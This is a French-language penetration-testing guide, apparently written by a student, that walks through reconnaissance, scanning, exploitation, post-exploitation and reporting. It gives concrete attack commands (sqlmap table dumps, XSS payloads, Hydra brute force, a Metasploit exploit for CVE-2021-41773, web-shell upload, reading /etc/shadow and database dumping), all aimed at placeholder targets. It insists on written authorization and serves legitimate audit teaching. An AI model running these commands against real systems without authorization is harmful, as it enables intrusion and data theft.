Méthodologie d'Audit de Sécurité

E-book de référence — Commandes, résultats et actions

Ce document est un guide pratique et complet pour réaliser un audit de sécurité informatique de bout en bout. Chaque phase présente les commandes exactes, les résultats attendus, et les actions à entreprendre selon ce que tu observes.

Auteur : OgonasSec — Étudiant en Réseau et Sécurité Informatique (UVCI)

Date : Octobre 2026 — Version 2.0

IMPORTANT : Un audit doit toujours être réalisé avec l'autorisation écrite du propriétaire du système. Sans autorisation, c'est du hacking illégal.

Table des matières

1. Introduction — Qu'est-ce qu'un audit de sécurité ?
2. Phase 1 : Reconnaissance (OSINT) — Commandes et résultats
3. Phase 2 : Scanning et énumération — Commandes et résultats
4. Phase 3 : Analyse des vulnérabilités — Commandes et résultats
5. Phase 4 : Exploitation (preuve de concept) — Commandes et résultats
6. Phase 5 : Post-exploitation — Commandes et résultats
7. Phase 6 : Rapport et recommandations
8. Outils essentiels — Référence complète
9. Exemple complet d'audit (pas à pas)
10. Checklist d'audit
11. Bonnes pratiques et erreurs à éviter

1. Introduction — Qu'est-ce qu'un audit de sécurité ?

Un audit de sécurité est un processus systématique d'évaluation d'un système informatique pour identifier ses faiblesses (vulnérabilités) avant qu'un attaquant ne les exploite. L'objectif n'est pas de "casser" le système, mais de le renforcer.

Un audit se décompose en 6 phases principales :

- Reconnaissance (OSINT) — collecter des informations publiques
- Scanning et énumération — découvrir les services et ports ouverts
- Analyse des vulnérabilités — identifier les failles connues
- Exploitation — prouver qu'une faille est exploitable (PoC)
- Post-exploitation — évaluer l'impact réel
- Rapport — documenter et recommander des corrections

Règle d'or : un audit doit toujours être réalisé avec l'autorisation écrite du propriétaire du système. Sans autorisation, c'est du hacking illégal.

2. Phase 1 : Reconnaissance (OSINT)

La reconnaissance consiste à collecter un maximum d'informations sur la cible sans interagir directement avec elle. On utilise des sources ouvertes.

2.1 Recherche DNS

Commandes :

```
dig example.com ANY
dig example.com MX
dig example.com NS
host -t axfr example.com ns1.example.com
```

Résultat attendu : liste des enregistrements DNS (A, MX, NS, TXT, CNAME).

Si tu vois un sous-domaine (ex. staging.example.com, dev.example.com) → note-le pour le scanning.

Si le transfert de zone (AXFR) réussit → faille critique (exposition de toute l'infrastructure).

2.2 Recherche WHOIS

Commandes :

```
whois example.com
```

Résultat attendu : registrar, date de création, contacts techniques, serveurs DNS.

Si tu vois des emails personnels → utile pour le social engineering (phishing).

2.3 Google Dorks

Commandes (à taper dans Google) :

```
site:example.com filetype:pdf
site:example.com inurl:admin
site:example.com "password" OR "secret" OR "api_key"
site:example.com ext:sql OR ext:bak OR ext:log
```

Résultat attendu : fichiers exposés, pages d'admin, documents sensibles.

Si tu trouves un fichier .sql ou .env → faille critique (données exposées).

2.4 Shodan / Censys

Commandes :

```
shodan search 'hostname:example.com'
shodan host 192.168.1.10
```

Résultat attendu : services exposés sur Internet, bannières, versions.

Si tu vois un service inattendu (ex. Redis, MongoDB sans auth) → faille critique.

2.5 theHarvester (emails, sous-domaines, IPs)

Commandes :

```
theHarvester -d example.com -b google,bing,linkedin
```

Résultat attendu : liste d'emails, sous-domaines, IPs associés au domaine.

Si tu trouves des emails d'employés → utile pour le phishing ou le credential stuffing.

3. Phase 2 : Scanning et énumération

Le scanning consiste à interagir avec la cible pour découvrir les services actifs, les ports ouverts et les versions des logiciels.

3.1 Scan de ports (nmap)

Commandes :

```
nmap -sS -sV -sC -O 192.168.1.10
nmap -p- 192.168.1.10
nmap -sU -p 53,161,123 192.168.1.10
```

Résultat attendu : liste des ports ouverts avec service et version.

Si tu vois le port 22 (SSH) ouvert → tester brute force ou clés SSH faibles.

Si tu vois le port 3306 (MySQL) ouvert → tester accès sans mot de passe ou injection SQL.

Si tu vois le port 6379 (Redis) ouvert → tester accès sans authentification.

3.2 Énumération de répertoires web (gobuster/dirb)

Commandes :

```
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
dirb http://example.com /usr/share/wordlists/dirb/common.txt
```

Résultat attendu : liste des répertoires et fichiers trouvés (200, 301, 403).

Si tu trouves /admin, /backup, /config → tester accès non autorisé.

Si tu trouves un fichier .env ou .git → faille critique (secrets exposés).

3.3 Scan de vulnérabilités web (nikto)

Commandes :

```
nikto -h http://example.com
```

Résultat attendu : liste des failles web détectées (XSS, SQLi, mauvaise config).

Si nikto trouve des fichiers sensibles exposés → documenter et tester.

3.4 Énumération SMB (enum4linux)

Commandes :

```
enum4linux -a 192.168.1.10
```

Résultat attendu : utilisateurs, partages, groupes, politique de mots de passe.

Si tu vois des partages accessibles sans auth → faille (exposition de données).

4. Phase 3 : Analyse des vulnérabilités

L'analyse consiste à croiser les informations collectées avec des bases de vulnérabilités connues (CVE, CWE) pour identifier les failles potentielles.

4.1 Recherche de CVE

Commandes :

```
searchsploit apache 2.4.41
searchsploit openssh 8.2
```

Résultat attendu : liste des exploits disponibles pour le service.

Si tu trouves un exploit → noter le chemin pour la phase d'exploitation.

Si aucun exploit n'est trouvé → tester manuellement (injection, XSS, etc.).

4.2 Scan automatisé (Nessus / OpenVAS)

Commandes :

```
openvas-start (lancer OpenVAS)
nessus (lancer Nessus)
```

Résultat attendu : rapport avec liste des vulnérabilités classées par gravité.

Si tu vois des failles critiques (CVSS > 9) → priorité absolue.

4.3 Scan web automatisé (OWASP ZAP)

Commandes :

```
zap-cli quick-scan http://example.com
zap-cli active-scan http://example.com
```

Résultat attendu : liste des alertes (XSS, SQLi, CSRF, etc.).

Si tu vois des alertes de haut niveau → tester manuellement pour confirmer.

4.4 Scan de vulnérabilités avec Nuclei

Commandes :

```
nuclei -u http://example.com -t cves/
nuclei -u http://example.com -t exposures/
```

Résultat attendu : liste des templates matchés avec sévérité.

Si tu vois des templates critiques → documenter et exploiter.

5. Phase 4 : Exploitation (preuve de concept)

L'exploitation consiste à prouver qu'une vulnérabilité est réellement exploitable. On ne casse pas le système — on démontre la faille de manière contrôlée.

5.1 SQL Injection (SQLmap)

Commandes :

```
sqlmap -u 'http://example.com/login.php?id=1' --dbs
sqlmap -u 'http://example.com/login.php?id=1' -D dbname --tables
sqlmap -u 'http://example.com/login.php?id=1' -D dbname -T users --dump
```

Résultat attendu : liste des bases de données, tables, données.

Si SQLmap trouve des bases → faille confirmée (critique).

Si SQLmap ne trouve rien → tester manuellement avec ' OR 1=1 --

5.2 XSS (Cross-Site Scripting)

Commandes (manuel) :

```
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
```

Résultat attendu : popup d'alerte dans le navigateur.

Si le script s'exécute → XSS confirmée (moyenne/haute selon le contexte).

Si le script est bloqué → tester d'autres payloads (encodage, bypass de filtres).

5.3 Brute Force (Hydra)

Commandes :

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form
'/login:username=^USER^&password;=^PASS^:Invalid'
```

Résultat attendu : mot de passe trouvé (si faible).

Si Hydra trouve un mot de passe → faille critique (authentification faible).

Si Hydra ne trouve rien → tester avec une wordlist plus grande ou d'autres vecteurs.

5.4 Exploitation Metasploit

Commandes :

```
msfconsole
search cve:2021-41773
use exploit/multi/http/apache_normalize_path
set RHOSTS 192.168.1.10
set TARGETURI /
exploit
```

Résultat attendu : shell obtenu sur la cible.

Si le shell s'ouvre → faille confirmée et exploitable.

Si l'exploit échoue → vérifier la version exacte du service et les options.

5.5 Upload de shell (web shell)

Commandes :

```
echo '' > shell.php
curl -F 'file=@shell.php' http://example.com/upload
curl 'http://example.com/uploads/shell.php?cmd=whoami'
```

Résultat attendu : le serveur exécute la commande (ex. www-data).

> Si la commande s'exécute → faille critique (RCE).

6. Phase 5 : Post-exploitation

La post-exploitation évalue l'impact réel de la faille : que peut faire un attaquant une fois à l'intérieur ?

6.1 Escalade de privilèges (Linux)

Commandes :

```
whoami
id
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/passwd
```

Résultat attendu : liste des binaires SUID et permissions sudo.

> Si tu trouves un binaire SUID (ex. find, vim, nmap) → escalade possible.
>
> Si sudo -l montre des commandes sans mot de passe → escalade facile.

6.2 Escalade de privilèges (Windows)

Commandes :

```
whoami /priv
systeminfo
net user
```

Résultat attendu : privilèges actuels, version OS, utilisateurs.

> Si tu vois SeImpersonatePrivilege → tester Potato exploits.

6.3 Mouvement latéral

Commandes :

```
arp -a
netstat -an | grep ESTABLISHED
```

Résultat attendu : machines voisines et connexions actives.

> Si tu trouves d'autres machines → tester l'accès (SSH, SMB, RDP).

6.4 Exfiltration de données

Commandes :

```
cat /etc/shadow
mysqldump -u root -p dbname > /tmp/dump.sql
```

Résultat attendu : hashes de mots de passe, données de la base.

> Si tu peux lire /etc/shadow → faille critique (accès root).

7. Phase 6 : Rapport et recommandations

Le rapport est la livraison finale de l'audit. Il doit être clair, structuré et actionnable pour l'équipe technique et la direction.

7.1 Structure d'un bon rapport

- Résumé exécutif (pour la direction, en langage simple)
- Périmètre et méthodologie
- Vulnérabilités trouvées (classées par gravité : critique, haute, moyenne, basse)
- Pour chaque faille : description, preuve (screenshot/log), impact, recommandation
- Conclusion et plan de remédiation

7.2 Classification par gravité (CVSS)

Gravité	Score CVSS	Exemple	Délai de correction
Critique	9.0 - 10.0	SQL injection, RCE	Immédiat (24h)
Haute	7.0 - 8.9	XSS stockée, auth bypass	1 semaine
Moyenne	4.0 - 6.9	XSS réfléchie, info disclosure	1 mois
Basse	0.1 - 3.9	Version obsolète, config	3 mois

7.3 Exemple de fiche de vulnérabilité

Titre : Injection SQL dans le formulaire de login Gravité : Critique (CVSS 9.8) Description : Le paramètre 'username' n'est pas sanitisé, permettant une injection SQL. Preuve : Requête `admin' OR 1=1 --` → accès au compte admin sans mot de passe. Impact : Accès complet à la base de données (500 comptes clients). Recommandation : Utiliser des requêtes préparées (prepared statements) et valider les entrées.

8. Outils essentiels — Référence complète

Phase	Outil	Commande type	Usage
Recon	dig	dig example.com ANY	DNS
Recon	whois	whois example.com	Infos domaine
Recon	theHarvester	theHarvester -d example.com -b google	Emails, sous-domaines
Recon	Shodan	shodan search 'hostname:example.com'	Services exposés
Scan	nmap	nmap -sV -sC target	Ports et services
Scan	gobuster	gobuster dir -u URL -w wordlist	Répertoires web
Scan	nikto	nikto -h URL	Failles web
Scan	enum4linux	enum4linux -a IP	SMB/Windows
Vuln	searchsploit	searchsploit apache 2.4	Exploits connus
Vuln	nuclei	nuclei -u URL -t cves/	Templates vuln
Vuln	OWASP ZAP	zap-cli quick-scan URL	Scan web auto
Exploit	sqlmap	sqlmap -u 'URL?id=1' --dbs	SQL injection
Exploit	Hydra	hydra -l admin -P wordlist ssh://IP	Brute force
Exploit	Metasploit	msfconsole	Exploitation
Post	LinPEAS	./linpeas.sh	Escalade Linux
Post	WinPEAS	winpeas.exe	Escalade Windows
Post	BloodHound	bloodhound-python	Active Directory

9. Exemple complet d'audit (pas à pas)

Voici un exemple simplifié d'audit sur une application web fictive (volontairement vulnérable) pour illustrer la méthodologie de bout en bout.

Cible : application web de gestion de comptes (http://cible.local)

Reconnaissance : dig cible.local ANY → sous-domaine staging.cible.local trouvé. whois → registrar OVH, email admin@cible.local. Google Dork : site:cible.local filetype:pdf → document interne exposé.

Scanning : nmap -sV -sC cible.local → ports 80 (Apache 2.4.41), 3306 (MySQL 5.7), 22 (OpenSSH 8.2). gobuster → /admin, /backup, /config. nikto → failles XSS et SQLi détectées.

Vulnérabilités : searchsploit apache 2.4.41 → CVE-2021-41773 (path traversal, CVSS 7.5). nuclei → SQL injection dans /login.php. OWASP ZAP → XSS réfléchie dans le champ recherche.

Exploitation : SQLmap → injection confirmée, 3 bases de données trouvées, dump de la table users (500 comptes). Metasploit → shell obtenu via CVE-2021-41773. Upload de web shell → RCE confirmée.

Post-exploitation : whoami → www-data. sudo -l → (ALL) NOPASSWD: /usr/bin/find. Escalade → root obtenu. /etc/shadow lu → hashes extraits. mysqldump → base complète exfiltrée.

Rapport : 5 vulnérabilités : 2 critiques (SQLi, RCE), 1 haute (path traversal), 1 moyenne (XSS), 1 basse (version Apache obsolète). Recommandations : requêtes préparées, mise à jour Apache, WAF, hardening sudo.

10. Checklist d'audit

- ■ Autorisation écrite obtenue
- ■ Périmètre défini (IPs, domaines, applications)
- ■ Reconnaissance OSINT terminée (DNS, WHOIS, Google Dorks, Shodan)
- ■ Scan de ports effectué (TCP + UDP)
- ■ Énumération des services et versions
- ■ Scan de vulnérabilités (Nessus/OpenVAS/Nuclei)
- ■ Scan web (OWASP ZAP, nikto, gobuster)
- ■ Exploitation des failles critiques et hautes (PoC)
- ■ Post-exploitation (escalade, mouvement latéral, exfiltration)
- ■ Rapport rédigé avec preuves et recommandations
- ■ Plan de remédiation proposé
- ■ Re-test après correction (validation)

11. Bonnes pratiques et erreurs à éviter

Bonnes pratiques :

- Toujours obtenir une autorisation écrite avant tout audit
- Documenter chaque étape pour que le rapport soit reproductible
- Ne jamais exploiter au-delà de la preuve de concept
- Classer les failles par gravité (CVSS) pour prioriser les corrections
- Proposer des recommandations concrètes et réalisables
- Faire un suivi (re-test) après correction des failles
- Respecter la confidentialité des données trouvées
- Utiliser un VPN ou un réseau isolé pour les tests

Erreurs à éviter :

- Auditer sans autorisation (illégal)
- Détruire des données ou perturber le service
- Surexploiter (aller trop loin dans l'exploitation)
- Ne pas documenter les étapes
- Fournir un rapport vague sans recommandations
- Ignorer les failles basses (elles peuvent être chaînées)
- Ne pas faire de re-test après correction

> Un bon audit ne se mesure pas au nombre de failles trouvées, mais à la qualité du rapport et à la capacité de l'équipe à corriger les problèmes identifiés.